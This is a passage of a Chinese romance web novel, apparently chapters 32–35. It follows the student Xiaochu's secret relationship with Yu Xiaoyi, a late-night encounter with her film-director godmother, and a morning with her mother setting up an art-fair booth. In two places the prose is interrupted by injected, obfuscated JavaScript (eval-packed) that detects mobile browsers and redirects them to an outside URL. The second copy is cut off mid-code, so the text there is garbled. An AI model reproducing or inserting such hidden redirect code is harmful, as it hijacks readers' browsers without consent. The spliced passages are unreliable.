小初敏锐地感觉到了什么,不经意看了二人一眼。 人群中突然有人提起,前面余萧弋做游戏输了还没有接受惩罚呢,现在是不是要表演个什么节目给大家啊? 余萧弋喝了口酒,问:“有吗?” 铭仔那个缺根弦的叫得最大声,“有啊,怎么没有!” 余萧弋看了看小初,说:“那好吧,我弹一段钢琴给大家吧。” 人群开始欢呼鼓掌。 小初神色一动,他竟真的会弹钢琴,没有浪费那么修长的手指。 他覆到她耳边来,小声说了句:“好好听啊,唱给你的。” 小初心尖儿一痒,耳朵骤然开始发烫,还没等她回过神来,他已经漫不经心坐到钢琴边去了。 而后他清了清喉咙,“张敬轩的《未知》。” 小初听不懂粤语,只好打开了搜索引擎找出了歌词。 我近来被某事烦住 这事情自觉甚奇异 我未明白当中的用意 谁个行为令我怀疑 眼内藏住了暗示 疑惑问我如何处置 多么想知想要知 我想叫TA索性 将心声写上白纸 “……” 明明歌词这么不安,可间奏的钢琴却让人无端听出了情绪发泄的味道来。 感觉他也快承受不住了,整个世界就要秩序崩塌了。 他的嗓音条件很好,唱粤语歌的样子更是多了几分松弛的性感,除此之外,他弹钢琴的节奏也控制得很流畅,看得出这一项也是他从小真的花时间用心练习过的,至少,在她这个对钢琴还算略懂些皮毛的人眼里,可以称得上完美。 小初的手指逐渐收紧,唇压在了玻璃杯沿上,橘子汁充斥在味蕾的那一瞬,她想起了那片橘子海,以及……她和他的初吻。 杨敏中转过头来朝她笑笑:“方小姐,你好幸福,要不是你在,他可未必赏脸弹琴给我们听。”顿了顿,又说:“只是这首歌选的吧……也太让人浮想联翩了。” 小初弯了弯眼角,“因为我喜欢这首歌,怎么,不好听吗?” “没有没有,好听的。” 现场气氛似被点燃了似的热烈,余萧弋停住手指,并直直向小初走来,“不好意思啊,各位,我们俩明天还有早课,就不陪你们继续了啊,大家玩得开心。” 铭仔嘘了一声,“是不是啊?那么爱学习?” 小初向杨敏中颔了颔首:“杨小姐,再次祝你生日快乐。” 杨敏中一愣,但很快笑了笑,“好的,改天再聚。” 两人走出酒店,又手拉手过了马路。 整个过程始终没人说话。 等到小初酒店楼下的时候,余萧弋突然开口,问她:“要不,我上去陪你睡?然后明天一块去帮你妈妈干体力活?我保证,我什么都不做,就只是睡个觉。” 小初不敢相信自己听见了什么,感觉自己的三观整个被他颠覆了。 不是,她仔细想了想,无比确定她没疯,也没得老年痴呆,她们之前是说好了分手的,没错吧? 所以,疯的那个人,是他? “可以吗?你怕你妈妈发现的话,我可以天不亮就偷偷离开。” 小初觉得他好像在拿她当傻瓜。 当模型里被调整的变量。 只为得到他想要的那个结果。 “再见,晚安。”小初摆了摆手,转身就走。 “等等。”他扯住她,“不行的话,那就只是亲亲也可以的。” “你是不是有……” “病”字还没说出口,她的唇就已经被他含住。 这一次,不再是浅尝辄止的唇对唇的简单碰触,而是真正的深吻。 橘子汁的味道在两人唇齿之间蔓延开来,小初有些站不住,不自觉抓住了他衣服的下摆,连带着两个人有那么一瞬都差点跌倒。 他吻得太迫切,凶狠,根本不给她任何理性思考的时间,不知道是不是错觉,小初好像尝到了他口腔中的烟草味,她记得他明明不抽烟的,怎么会有烟草味呢。 亲了很久,直亲到两人的唇都有点湿漉漉的他才停下来,下一秒,似是怕她直接去扇他的巴掌,他干脆用西装外套把她紧紧裹在了怀中。 “你现在怎么这么无赖啊。” “因为,我发现,对付你这种铁石心肠的人,耍无赖这招,最管用。” 他笑得魅惑丛生。 “……” 小初踮起脚尖对着他吻下去,吻得间隙还没忘说一句:“那你就大错特错了。” “所以今晚?” 小初不说话,整个世界就只剩下眼前这一刻。 33.第 33 章 “余萧弋,很晚了。” 深吻是一件很耗费体力的事,小初总算知道。明明也没做什么剧烈的动作,身体却哪哪都是柔软的,空虚的,滚烫的。 暂时失去了深入思考能力的她就只想这么一动不动靠在他胸前,听听他心跳的声音。同她一样,他的心跳节奏也很快,像一个初尝情欲美妙滋味的兽正在觉醒,至于它觉醒后会发生什么可怕的事,她不敢想。 “嗯,很晚了。”他重复了一遍。 “我得回去了。” “我知道,再两分钟。” 小初轻哼一声,语气有种无意识的撒娇味道,“鬼才信你,这已经是第几个两分钟了?” “就是不想你走。”余萧弋调整了下站姿,下巴在她的头发上蹭了蹭,“你在想什么?” “我在想,半年后该怎么办。” 余萧弋紧了紧抱着她的手臂:“我会去北京看你,我看了下,香港飞北京最快航班只要三个多小时,或者乘高铁,现在交通这么发达,只要想见面,这点距离算什么问题?” 他这么说,小初不知怎么有点想哭,开口说的却是,“这样的辛苦,余少坚持得过三个月吗?” “我十八岁开始一个人在外面生活,衣食住行全部自己操心,灯泡坏了自己换,水管开花自己修,几个小时的飞机和高铁而已,你真当我只识风花雪月不识人间疾苦呢?” “那再之后呢?等你去了美国,也这样奔波吗?” 余萧弋换成抓着她肩膀的动作,语气有些无奈,“方小姐,享受当下好吗?人如果一直想着不好的事情,那它就一定会发生的,乐观点,你会快乐很多。” 小初瓮声瓮气:“我就是觉得兰因絮果是世界上最遗憾的事,如果是这样,还不如一开始就淡一点。” “感情这事谁能收放自如?你能吗?” 小初勾唇,“我但愿我能。”过了两秒,她才若无其事地说了句,“我没跟你说,我爸妈离过婚。” 余萧弋沉默了一下,视线停在她隐有碎光流动的眸子上。 “离了十年,后面又和好了。”小初笑笑,“很离谱是吧?” “没有离谱,只说明他们的缘分本来就未尽。”余萧弋心疼地帮她把被风吹乱的头发别到耳后去,“你会因为这件事在感情上没安全感吗?” 小初摇头,“我只是有点困扰,花了很长时间思考他们的婚姻。” “别想那么多,他们的果,是甜还是苦,自有他们自己品尝。” 小初笑:“真看不出,余萧弋你还挺会劝人。所以,你爸妈感情还好吗?” 余萧弋刮了刮她的鼻子,故意逗她,“感情不好会接二连三地生孩子吗?我算了算,他们大概有七八年,一直在生育和抚养幼崽,虽然家里帮忙的人也多,但你不知道,我妈妈是个事业型女性,还是为家庭牺牲了她很多自我的。他们俩个性很和,也愿意包容彼此,反正我长这么大,就没有听见他们吵过架。” 小初向他投去羡慕的目光。 余萧弋又笑:“当然,也可能人家夫妻相处的秘诀就是不当着外人吵,有矛盾都是在房间里互抽耳光。” 小初被他逗笑,“有你这么当儿子的?”又问他:“你和你弟弟妹妹感情好吗?” “好啊,他们都很可爱。弟弟十七岁,除了不爱读书其他都还好,妹妹十五岁,和一般青春期的女孩子无异,喜欢追追星看看漫画玩玩游戏什么的,除了早恋这事有点让人头疼,总体还是乖的。” 小初睨他:“她十五岁,你说她早恋,然后说自己早过了法定结婚年龄……Theo余,你不要太双标。” 余萧弋俯身亲吮了吮她的唇瓣,学她说话语气:“那你别管。” 小初有些羞涩:“我得走了。” “好,我送你到门口。” 一共五十米的距离,两人又拉扯了快十分钟。 终于到了不得不分开时。 余萧弋再次抱了抱她,半是哄半是引导,“别担心未来,你只要做你自己就好,其余的交给我,在怎么疼爱太太维持好婚姻这件事上,我有遗传基因。只是……” 他的目光逐渐认真,“你不能像今天这样,随便就把分手两个字挂在嘴边,至少,你要先让我知道你在想什么,记住了吗?” 小初心脏猝不及防停了一下,感觉自己已逐渐难以招架,连耳后皮肤都染上了绯红,“大晚上还要教育人,烦不烦。” 余萧弋笑:“晚安。”又说:“所以你明天要去会展中心帮你妈妈拆箱布展是吧?我看了下那边离学校还蛮近的,真的不要我过去帮忙吗?” 小初立刻摆手:“不要!” “怕什么,你就说我是你同学嘛,同学之间互相帮忙很正常吧。” “那是你不知道我妈妈有多聪明。” 一辆黑色商务车缓缓在酒店门口停下,小初打了个哈欠,看了看表,时间已经过了十二点,她是真的有点熬不住了,“我上去了啊。” 余萧弋点点头,“嗯,到房间记得给我发个信息。” 小初转过身去,还没走三步,就又打了两个哈欠。 余萧弋刚好捕捉到她如此可爱的一面,瞬间失笑。 然后第四步,小初就迎面和电梯里出来的人撞到了一起,正要道歉,下一秒,来人就极度震惊地率先开了口,“小初?大半夜不睡觉你跑出来干嘛来了?” 小初忽地抬起头,瞌睡虫瞬间消失无踪,“干妈!这么晚了您要出去?我妈呢?”一边说一边疯狂在背后朝余萧弋摆手示意他快走。 谢令妤灰白色短发配黑色褶皱长裙,在夜色中尤为炫酷和犀利,比下午聚餐时更像个导演了,当然,在不明真相的人眼中也很有点……不好惹。 余萧弋看了小初的手势,还以为她遇上了什么麻烦,快步跑上前来,不经意将她半挡在身后,然后才问:“发生什么事?” 他,在,干,什,么? 脑子里轰然一声过后,小初感觉她整个人都被按下了暂停键,连呼吸都开始滞涩。 谢令妤似笑非笑地先将余萧弋上上下下仔细看了一遍,才挑眉看向小初,“说说吧,你打算怎么收买我。” 小初心一横,知道也再瞒不过她,索性讨好地弯了弯眼睛,“干妈,您最疼我的,对不对?” 余萧弋愣住,反应过来后整张脸立刻染上了一层薄红,他也不明白向来沉稳周全的他怎么一碰上和她有关的事就会不自觉乱了阵脚,原来她刚刚手掌在背后摆动的动作不是叫他过来,而是让他快点消失? 那,现在再消失还来得及吗? 谢令妤好整以暇的,“还不介绍一下?” 小初没办法,只好红着脸帮二人做了介绍,称谢令妤是干妈,到了余萧弋这,她踌躇了一下,还是说了实话,称他为——男朋友。 余萧弋从善如流,也赶紧随着小初喊了谢令妤一声:“干妈。” 谢令妤摆手,目光极为深邃:“不必,我这辈子就方太初一个干女儿,别人这么叫我不太习惯,你叫我Lauren就行。” 余萧弋冷汗已爬满脊背,只好应了声,是。 小初也是第一次见到谢令妤气场如此强大的一面,不禁也有些心慌,她和她虽然在生活中接触不多,但黄亦玫和方协文但凡去美国,或者她和李湛回中国,无论是私人行程还是出公差,他们都一定会碰面的。 她房间里好多玩具书籍还有她喜欢的外籍明星签名照,都是谢令妤寄给她的,可以说,她对她的爱,是一丝一毫都没有掺假,但她在她心中一直都是洒脱又豪爽的形象啊,今天怎么这么严肃。 谢令妤看了二人一眼,到底无奈叹了口气,“我有个应酬要出去一下,时间很晚了,小初,你赶紧回去休息。这位……” 余萧弋颔首,像个乖训的小学生,“Theo,Theo余。” 谢令妤不置可否,只说:“你身上的西装,如果我没看错,是Brioni这一季致敬五十年代首届时装秀的复刻款?” 余萧弋惊讶于对方毒辣的时尚眼光,面上却依旧毕恭毕敬,不经意地解释,“是,今天刚好是我和太初共同的一个好朋友过生日,派对地点刚好就在附近,所以才过来接她过去坐了一会儿,时间确实有点晚了,是我的错。” 小初这才有点明白谢令妤是做什么了,原来是给余萧弋下马威呢,不禁心底好笑,干妈这是怕她在他手里吃亏?她又好奇侧眸过去看了看余萧弋早已不成样子的西装,看了半晌也没看出上面有什么明显的Logo,这谢令妤到底是怎么看出来衣服的品牌的? 导演毕竟是导演,果然慧眼如炬,不仅要懂得识人,有专业审美,会故事构建,擅长协调和决策,对各个领域的知识都要有所涉猎才行。 谢令妤点点头,这才笑了,“小子,你要是见了我就已经这么紧张,回头见了她爸,我怕你直接哭出来。” 小初抗议:“干妈,被你说得老方好凶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16336780|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢令妤睨她一眼:“凶不凶要看什么事,别的都还好,事关他的掌上明珠,就不太好说。” 余萧弋不敢再说话。 门口商务车的司机打了下双闪。 谢令妤看了眼余萧弋:“走吧?你住哪里?要不要我让司机先送你?” “不敢麻烦,我住得很近。”余萧弋看了眼小初,“我先回学校了啊,明天联系。” 说完还未待小初回答,他就转了身,没过十秒,就从她们的视线里彻底消失了。 谢令妤看了小初好一会儿,才没好气点了点她的头,“跟我们玩灯下黑是吧?人竟然都带到这来了。” 小初一肚子委屈,又不是她让他来的,却也只能小声说道:“事情不是您想的那样。” 谢令妤轻哼一声:“不管怎么样,这小子卖相确实比一般小明星都好一些,难怪你看陈槐东都毫无波澜。” 小初:“……” 谢令妤语重心长,“干妈不反对你谈恋爱,但你毕竟还小,要永远记得先保护好自己,知道吗?” 小初不敢直视她的眼睛,期期艾艾问了句,“那……那我妈那边?” “黄亦玫已经睡了。你和你爸妈之间的事,我不掺和,但是姓余那小子要是敢欺负你,我这关他绝对过不了。” 小初赶紧说:“没有没有,他对我还是很好的。” 谢令妤恨铁不成钢,“行了,快去吧。” 小初上了电梯,看着数字一点点跳上去,脑子里已乱成一团,总觉得事情已经往她控制不了的方向去了。 路过黄亦玫房间门口的时候她走得额外蹑手蹑脚,虽然知道走廊柔软的地毯根本不会让她发出任何吵醒她的声音,但她就是心虚。 她房间外面请勿打扰的牌子还安安静静挂在那里,她特务一样刷了房卡,那个电子钥匙生效的声音在午夜听来额外刺耳,她赶紧闪身进去,用后背抵住房门,总算有惊无险。她长舒口气,继而腿一软,踉跄两步直直倒在了床上,连衣服都没脱,就拉过被子将自己埋在了里面。 不知过了多久,她的心跳和呼吸才恢复如常。 原以为自己是什么处乱不惊做大事的人,如今只是地下恋情被家里发现就吓成这样,未免也太没出息了些。 余萧弋的微信进来了。 问她:「你到房间了吗?」 小初答:「到了,你呢?」 「我在街边,刚买了瓶水,打算喝几口先缓缓。」 小初在被子里大笑,她猜他此刻也有种劫后余生的释然,「你好歹也应该是见过些世面的,怎么还怕成这样?」 「不是害怕,是紧张。你看我今晚这德行,白色西装都不知道乱七八糟蹭了什么东西上去了,整个人都灰扑扑脏兮兮的,你干妈肯定把我当成不学无术专门哄骗单纯小女孩的浪荡子了,第一印象给人这么差,后面可要怎么办?」 「不至于。」 「你都不懂,我刚才甚至生怕她稍稍一个转身,腰间藏的是枪套,下一秒枪就要抵在我脑门上了。Lauren小姐气场太强,眼睛简直鹰一样,越夜越亮。」 小初乐不可支:「她是个导演,你刚刚说的这套动作,恐怕她还真行云流水。」 说完这句,她就把手机扔在了床上,进卫生间迅速洗了个澡。 等她披散着半湿不干的头发走出来的时候,余萧弋已发了几条消息过来。 「你是说,她是个导演??」 「查到了,她竟然就是著名的华裔导演Lauren Xie?」 「所以,今天坐路边和你谈笑风生的那个,就是她即将开拍的电影的男主角,陈槐东? 方太初,你身上到底还有多少我不知道的秘密?」 小初却还不想把一段简单的关系扩大到她控制不了的范围,想了想,还是以揶揄的语气回道:「你想太多,刘姥姥都能绞尽脑汁攀上一门豪亲,我只是认识个拍电影的导演就满身的秘密了?Lauren Xie是我妈妈读研究生时候的同学,仅此而已。」 他笑:「那好,明天下课后我就去会展中心帮忙布展,你觉得怎么样?」 小初心脏扑通地跳了起来。 她其实还拿不太准余萧弋行事风格。 半晌,他才又补了一条过来:「我说笑的,傻瓜。快睡吧,快一点了。」 后面还附着一个可爱的表情包。 长耳朵狗举着牌子。 上面印的是——爱你。 34.第 34 章 第二天一早还没到八点半,黄亦玫就过来敲门了。 昨晚洗完澡吹干头发就已经快凌晨一点半,再加上一整晚辗转反侧,小初其实并没有怎么睡饱,但她见四十几岁的方太太还这么精力旺盛身体力行,也不敢怠慢,只能硬着头皮起了床。 想一想,也大概明白了父母的苦心。他们不想让她活在空中楼阁,只把钱看做数字,不知道它连接着怎样的现实生活,很多东西若是没了敬畏心,就很容易走极端。 打开门,黄亦玫和她助理奚柠就走了进来,两人穿着同款的黑色T恤,上面印着设计很特别的四个艺术字,“蔓蔓艺廊”。 黄亦玫把另一件同款T恤递给她,笑道:“换上吧,小方同学,今天辛苦你,晚上公司会按照馆里临时工的标准给你日结薪资哈。” 小初打了哈欠,接过来,无精打采说了声:“哦,谢谢黄总。” 黄亦玫狐疑:“你昨天不是很早就睡了吗?怎么今天还这么困?” 小初一凛,心想她妈妈果然不是什么好糊弄的人,可她这么耳聪目明,怎么偏偏就对她老公铺天盖地的绯闻视而不见呢?难道这就是他们夫妻心照不宣的相处秘诀吗? 她昨晚睡前又在微博上搜了下方协文三这个字,竟意外发现连肖小雨都是过去时了,这次被传得最甚嚣尘上的女主叫胡潆心,去年才入职亦方行政部,在营销号发出来的数张照片中,多次大型活动方协文身边都有伊人身影,在一众员工中,就属她的身体语言最暧昧,看他的眼神最崇拜。 据相关“知情人”透露,方总已经多年没有遇到这样一朵纯白解语花,所以对其非常疼爱和珍惜。 小初特地把她的照片放大仔细观摩了一下,发现其确实也就只能称得上清纯,无论相貌还是气质,都和“美人”两字毫不相干,只是胜在年轻。 可谁又能敌得过年轻呢?她的年龄乘以二,才是黄亦玫前年生日的数字。 小初为妈妈不值。 不管事情是真是假,本身能让自己以绯闻缠身的形象出现在公众视线中,不就是方协文作为丈夫,作为企业负责人的失职吗? 他实在难辞其咎。 “秋困,黄总没听过呀。”小初接过T恤,才想起来自己昨天穿来的是一条裙子,“糟了,我忘记带裤子来了。” 奚柠笑:“给你准备了,昨天在机场看见你的时候我就想着这事儿了,你差不多也就穿25码吧?” 奚柠递过来一条牛仔裤。 小初瞪大眼睛:“奚柠姐,你们黄总有你真是她的福气。” 奚柠笑:“那你先换,我到另外一个房间看看黄总还有什么东西落下没有。” 然后就退出门去把空间留给了母女二人。 裤子的质量和版型都很不错,小初看了眼价签,倒是不贵,这个分寸和尺度一般情商的绝对拿捏不来,她心悦诚服。 “妈,回头裤子钱你别忘了给人家啊。”小初一边换衣服一边跟黄亦玫说道。 黄亦玫嗔她一眼:“知道啦,方小姐。” 换好衣服,两人一同站在穿衣镜前,同样的T恤衫配牛仔裤,酷似到极致的两张脸。 诚然岁月对黄亦玫还是温柔的,让她在这个年纪依然风华绝代,美得令人惊心动魄。 小初却不知为何生出惊惧来,因为她突然意识到,这可能是她妈妈最后的春天了,再过一两年,一旦超过五十岁,她体内维持美貌的激素就会急速流失,然后她会老,头发会失去光泽,逐渐白发丛生,眼角会生出皱纹,连瞳孔都会变得浑浊,再不复青春和明艳。 而方协文却依然可以顶着成功人士的光环四处招惹风流,言情小说最喜欢写年轻女孩趴在老男人膝盖之上聆听他的失败他的成功他的痛苦他的爱,他充满遗憾的青春,可谁又知道岁月赋予他的成熟的魅力是从另一个隐忍而伟大的女人的血肉里破茧而出的? 这世道,太不公平。 她不是接受不了妈妈变老,她只是接受不了女神的深情也会被如此践踏和辜负,她这么美,这么好,原应该得到命运最温柔的对待,不是吗? 小初的眼泪不知不觉流了下来。 黄亦玫吓一跳,赶紧转身抽了张纸巾过来帮她擦了擦,轻声哄道:“怎么了宝贝,大早晨怎么还哭上了?” “妈。”小初再也不想克制,她一把搂住黄亦玫的脖子,放声大哭,“我……”她想说点什么,却又因为哽咽得太厉害什么都说不出来,只是一直哭。 黄亦玫不知道发生了什么事,却也不受控制地跟着泪了目,母女之间的情感连结本就超过这世上所有,女儿此刻的痛苦和无助,她完全能够感同身受。 “别哭,有什么事和妈妈说说,妈妈看看能不能帮你分析解决一下。”她一下一下轻轻拍着小初的脊背,轻声轻语地安慰着。 “学业上有困难?” “因为叶子瑜?” “跟同学闹矛盾了?” 小初始终摇头。 “那是什么?不习惯这边的气候和饮食?想家?要不要妈妈过来陪你一段时间?” “都不是。”小初努力平复了一下情绪,“我只是想和你说,我特别特别爱你,妈妈,我特别特别爱你。” “我也爱你呀。”黄亦玫轻轻抚了抚她的头发,“就为这个就哭了啊?” 小初眼睛红红的,又看了看镜子中的两人:“妈,我不想你变老。” “傻瓜,人哪有不变老的?”黄亦玫豁达一笑,“再说,妈妈老了还有你啊,你就是我的生命和青春的延续不是吗?你看咱俩长得多像?” 小初吸了吸鼻子,瓮声瓮气的,“哪里像,我连妈妈的一半都比不上。都怪我爸拉低了我的颜值。” 黄亦玫公正地说:“瞎说,你爸也好看呀。” 小初更想哭了,她竟然还如此爱他。 他到底何德何能。 “妈,你当年到底为什么选择他?你那么优秀,出身,学历样样无可挑剔,还长得那么美,我爸就一个小地方来的穷小子,除了写代码什么都不会,我猜他连你的画都看不懂,谈恋爱不是都应该找灵魂伴侣吗?”小初比当事人还意难平。 黄亦玫笑,温柔从唇边笑涡蔓延开来,“当然是因为他也很优秀,也样样无可挑剔呀。” 小初才不信。 “我奶奶一个人就足够给他减一百分,我说的是满分十分的情况下。” 黄亦玫被逗笑,点了点她的额头,“不许胡说。”又看了看表,“你稍微收拾一下,我们得出发了。” 小初最终还是没忍住,直接把压在心底很久的问题抛了出去,“妈,你知不知道最近几个月网上都是我爸的绯闻?” 黄亦玫愣了一下。 过了一会儿才犹疑地问道:“所以你最近几个月心情不好不仅是因为子瑜?” 小初有些无奈,“妈,叶子瑜在我这早翻篇了,您以后别老提了。” “你爸的绯闻都是假的,你以后也少看。” 小初诧异:“假的?你怎么知道?” 黄亦玫叹口气:“你爸最近在谈一个G端项目,你知道吧?” 小初思考了一下,“和这个政府项目有关?” 黄亦玫的神情逐渐凝重:“嗯,这个项目一旦被亦方谈成,业内很多东西就要重新洗牌,你说,那些竞争者会不急吗?私人生活这些东西,恐怕还只是前菜,至于后招是什么,目前还不好说。” 这次,轮到小初震惊到失语。 黄亦玫温柔拍了拍小初肩膀:“我和你爸本来是不想你知道这些的,你从小就照同龄人心思细腻很多,我们就怕你因此太内耗。小初,你长大了,知道为爸爸妈妈分担压力了,对此我们都很欣慰,但是你现在还小,最要紧的是你自己的学业,还有,青春就只有一次,你要开心点过才对呀,别总是老气横秋的,操心这个操心那个的,好吗?我们大人都会处理好大人的事的。” 小初又有点想哭。 竟然,只是这样? 真的吗? “还有。”黄亦玫嗔她,“我和爸爸很好,你不许再猜疑我们的关系了哦。” “哦。”小初深吸了口气。 “不过,我才发现你确实像你爸。”黄亦玫眨眨眼。 小初不明所以,“什么?” “因为,你们都说了同一句话,黄亦玫,我特别特别爱你。” “God。”小初做了个肉麻的表情,指了指洗手间,“我去洗漱了OK?” 黄亦玫大笑:“快!加速加速!” 到会展中心的时候很多家画廊都已经开始布置了,展馆到处都是未拆封的纸箱,空气里都是拆封口纸的声音和电钻的轰鸣。 小初的心情已经许久没有像今天这么愉悦过,她感觉自己现在浑身都是力气,别说黄总还按临时工的薪酬给她日结,就是一分钱不给,她也能帮他们大干三天的体力活。 看见摊位门口堆放的纸箱,她第一个冲了上去,跃跃欲试道:“是要先把这里面的东西拆出来是吗?那我们就开始吧!” “哎!”黄亦玫一把拉住她,吓得魂差点飞出去,“小祖宗!你当心,那里面都是各个艺术家的杰作!你给我碰坏了我们今年半年就要白干了!” 小初愣住,“啊?” 黄亦玫说:“你靠后,如果能远一点就更好。” 小初有些无语,“那您还叫我过来干嘛?” 黄亦玫大笑:“你等下,一会儿这满地就都是垃圾啊保利龙碎片什么的,你去保洁那领两套清洁工具来,帮忙打扫打扫卫生就行。” 小初不敢相信自己听到了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小初整个人都像水煮过的虾子一样了,不仅浑身泛红,而且行动迟缓。 “方太初!” 那个“同学”也发现了她,比之前任何时候看见她都热情一万倍。 小初不可思议地停住脚步,目光惊恐。 那个一头黄毛戴着浮夸耳钉的,正在和黄亦玫侃侃而谈的,曾经恨不得见一次面就要奚落她一次的,不正是…… 铭仔? 他来干什么! “方太初。”铭仔看向她,一副如梦初醒的模样,“这位黄小姐就是你妈妈?我的天,她长得好漂亮啊!也太年轻了吧?怎么做到的,什么医美项目,快分享分享,回头我要把那个配方卖给整个香港的贵妇!” “你闭嘴吧。”小初没好气地瞪了他一眼。 黄亦玫倒是没和愣头青计较,只问小初:“这是你同学?” 小初不吭声,谁跟这种人是同学啊。 铭仔却一副自来熟模样,“是的伯母,我叫林铭锵,你叫我铭仔就好啦。我是来帮忙干活的,之前就听方太初说了,你们这缺人手是吧?” 林铭锵,小初冷笑,真是可惜了这么好的一个名字。 “啊……”黄亦玫疑惑看了眼小初,却也不好拒绝,想必也是个要勤工俭学才能养活自己的孩子,算了算了。 “是的。”她爽朗答道。 “太好了,你看下,我都能干些什么?” 小初把他拉到一边,无比咬牙切齿,“你在搞什么?” 铭仔压低声音,“没办法,我最近有难处,Theo说了,只有我跟你搞好关系,他才肯从中帮忙。你别误会啊,我对你没有好感的。” 小初忍了又忍才没动手揍他,“谁要你对我有好感!”又问,“Theo余干嘛呢?” 铭仔耸耸肩:“我唔知呀。” 转眼看见黄亦玫在搬一只箱子,他立刻哈士奇一样蹿了过去,一脸谄媚,“我来我来,这种事,男人来就好了。” 小初几乎将牙咬碎。 她再次跑到出口去联系余萧弋,这一次,直接打的电话。 “余萧弋,你搞什么?” 那边好整以暇,“不想你辛苦,所以发配个人过去帮忙而已,你干嘛这么大反应。” “……” “不跟你说了啊,我约了梁培风见面,我快迟了。” “梁培风?”小初被惊到,“你见他干嘛?” “没干嘛,我已准备加入你们的数学建模大赛小组,全权负责论文部分,同时担任队长。”余萧弋笑:“所以我提醒你啊,方太初小姐,接下来的两个月,都请对我客气一点,不然我真的会让你体会到官大一级有多压人的。” 小初无语看了看天空。 今日万里无云。 有微风。 35.第 35 章 方太初看着黄亦玫指挥工人将一条巨型的白色“丝巾”悬挂到天花板上。 “丝巾”由数条长短不一的金属线牵着,展馆内是中央空调统一控温,可这条“丝巾”却无风自动,像变幻的云,也像汹涌的浪,美得让人根本移不开眼。 安装完毕后黄亦玫亲自按下墙上的开关,“丝巾”随即由白色变成透明,又逐渐渲染成各种不同颜色,比刚刚纯白色时候更加绚丽动人,有点像冷烟花绽放后的天空。 铭仔目瞪口呆欣赏了半天,才跟小初感叹道:“方太初,你妈妈真是个天才,她是怎么想出来这个创意的啊?” 小初侧了侧眸,眼底流露出一丝同情,“她是个天才肯定没错,但这件作品来自意大利的艺术先锋Anthony Rizzo,跟她真没关系。而且这玩意不就用了点空气动力学和半导体发光技术吗,你至于这么激动吗?” “你真无趣,也不知Theo喜欢你什么。”铭仔扯了扯卫衣的领子,嘟囔了一句。 小初眉心一跳,迅速往黄亦玫方向看了一眼,幸而她的注意力都在展品上,并未察觉他们在聊什么。 “别在这里提他。”小初压低声音,递了个警告的眼神过去。 没想到这句话反倒引起了他的兴趣,“不是吧方太初!人家Marissa杨费尽心机只要他一点点钟意,到你这却连个名分都不肯给?我好心提醒你,欲擒故纵也要有个限度,Theo余可不是菜场里随你挑来拣去的鱼!” 铭仔的声音比刚才更提高了几分,吓得小初一把就捂住了他的嘴,咬牙切齿道,“都说了叫你别在这里提他!” 两人动静太大,终于把黄亦玫的视线从工人的电钻上成功吸引了过来,下一秒就愣住,“小初,你俩干嘛呢?” “没干嘛!”小初笑得欲盖弥彰,“我们俩在讨论这作品应该叫什么名字,我猜《春天》他猜《意识》,我说他故作高深,他说我想象力匮乏,哈哈,真没啥事,黄总,您忙,您忙。” 黄亦玫已经很久没看见小初和同龄男生亲密相处的样子,不知怎么反而有点欣慰,嗔怪道:“讨论就讨论,你也别用抹布捂人家嘴啊。” 小初这才反应过来,倏地松开了手。 铭仔怪叫着跳到了一米开外去,恶心得差点吐出来,“方太初!你太过分了!呸呸呸,这块布刚刚是不是擦过桌子!” 小初好整以暇,“去,你干脆跳得更远点,看看墙上的标签到底写的是什么?” 铭仔一边用矿泉水漱口一边骂骂咧咧去了,待看清作品名字心情瞬间阴转晴,“方太初,我说你想象力匮乏说错了吗?这作品名字叫《Me》!没想到吧!” “《蜜》?蜂蜜的蜜吗?这东西哪里像蜂蜜了?”小初表示不理解。 “是英文的我!”铭仔忍无可忍,“你就一点艺术细胞没从黄小姐身上遗传吗?” 黄小姐…… 这个家伙是不是在借机向女神献殷勤? 黄亦玫笑出声来,跟两人解释道:“这个作品诠释的是每个人的精神世界,天马行空,不受束缚,梦幻流动又绚丽多彩,铭仔猜的《意识》确实已经很接近了。” 铭仔听了立刻挑衅地朝小初扬了扬眉毛。 “……” 两人直待到下午一点,和大家一块吃了盒饭,又帮忙把能做的卫生都做了才从馆里离开。 他们走的时候黄亦玫还在忙,明天就是正式展出的第一天,又恰好是周末,看展的人会非常多,除了挂画,好多艺术品的组装和陈列都需要时间,想要达到最好的效果又要不断调整角度,很费心神。 小初估计他们今天天黑之前都未必能结束全部工程。 回去的路上铭仔满脸神往地跟小初说:“你有没有发现专注工作的女人很有魅力?” 小初看了看表,“专注工作的女人有没有魅力我不知道,但无所事事的男人肯定没有。我一会儿还有课,你请自便吧。” 铭仔气急,自我辩解道:“谁说我无所事事!我是学校放温书假特意回来和家人团圆过中秋的好不好?过两天我就出去了!” “真是奇怪。”小初不可思议地笑了笑,“怎么你误解别人的时候张口就来,别人只是说你一句你就受不了了?你这么无趣,跟你玩在一起的那群人到底有没有把你当朋友啊。” 铭仔愣住,半晌无语,而后才神秘兮兮地靠近她:“方太初,你报复心这么强的吗?好,我跟你道歉好了,我对你是没什么意见的,无非是Theo喜欢谁,我就看看谁的脸色呗,看看脸色又不会死,是吧?” 小初不动声色地向一旁躲了躲,径直向学校方向走去。 铭仔追上去,继续说道:“可惜啊,你太单纯太耿直了,我很好奇你到底能跟他在一起几天。你知唔知别人抢男朋友都是什么手段?男人喜欢的是外表矜持平静内里热烈汹涌的一片海,可不是一座棱角分明的真冰山,任他怎么热情都没办法融化,靠得太近还容易受伤。你想永远征服他,就要给够他视觉刺激和心理刺激才行,还要冷热交替着来,喂,我可是看在你妈妈面子上才跟你说这些的啊,听不听随你咯。” 小初停下脚步,掀眸看了他一会儿,“所以要抢走他的那个人就是Marissa杨?” 